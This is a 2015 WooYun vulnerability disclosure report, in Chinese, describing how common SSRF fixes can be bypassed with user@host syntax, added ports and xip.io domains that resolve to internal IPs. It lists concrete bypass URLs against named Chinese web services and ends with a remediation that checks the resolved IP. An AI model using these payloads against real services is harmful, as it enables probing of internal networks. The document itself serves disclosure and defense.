漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-099135
漏洞标题：乌云多数已修复SSRF漏洞可被绕过
相关厂商：众多厂商
漏洞作者： Mr .LZH
提交时间：2015-03-03 00:11
修复时间：2015-04-17 00:12
公开时间：2015-04-17 00:12
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-03： 细节已通知厂商并且等待厂商处理中
2015-03-06： 厂商已经确认，细节仅向厂商公开
2015-03-16： 细节向核心白帽子及相关领域专家公开
2015-03-26： 细节向普通白帽子公开
2015-04-05： 细节向实习白帽子公开
2015-04-17： 细节向公众公开
简要描述：
思路猥琐，绕过厂商以为完美修复的绝对防御，再附赠一个绝对防御方法。
让雷把我劈死吧。
详细说明：
针对SSRF漏洞，一般修复的时候是获取到提交的url，获得hosts，判断host是否为内网ip。
于是有这种情况：
例如http://127.0.0.1/asd.html,修复时容易出现的获取host时以/分割来确定host。
但这样可以用http://abc@127.0.0.1/这样绕过。例如： WooYun: 人人网某处SSRF漏洞可猜解内网
或者加一个端口绕过。例如： WooYun: 内网编织者百度内网手动编织!
所以这种情况需要进一步过滤，取@后面的内容和端口后作为host进行判断。
大部分厂商修复的时候都是按照这样的思路。所以出现了下面的绕过方法。
如果把test.com指向内网地址，则完全可以提交test.com绕过前面的过滤，探测内网。
搜索了一下wooyun有史以来提交的SSRF，进行验证。
很多厂商直接取消了相应功能，还有部分成功修复漏洞，但只占少数。
先科普一下一个可以指向任意ip的域名：xip.io
用法：
10.0.0.1.xip.io 10.0.0.1
www.10.0.0.1.xip.io 10.0.0.1
mysite.10.0.0.1.xip.io 10.0.0.1
foo.bar.10.0.0.1.xip.io 10.0.0.1
于是测试了一下，以下地址SSRF漏洞可被绕过。
http://tp.chinaso.com/web?url=http://www.10.10.0.179.xip.io&fr=client
http://widget.renren.com/dialog/share?resourceUrl=http://www.10.10.16.224.xip.io
http://share.renren.com/share/buttonshare.do?link=http://www.10.10.16.224.xip.io
http://note.youdao.com/memory/?url=http://www.10.120.182.20aaa.xip.io
http://qing.blog.sina.com.cn/blog/controllers/share.php?url=www.127.0.0.1.xip.io/asd.html
漏洞证明：
修复方案：
针对SSRF的修复，可以直接获取url对应的ip，如果是ip，返回的依然是ip，域名则返回对应ip，然后再对ip进行判断是否为内网ip，即可防御SSRF内网探测。
版权声明：转载请注明来源 Mr .LZH@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2015-03-06 22:00
厂商回复：
最新状态：
暂无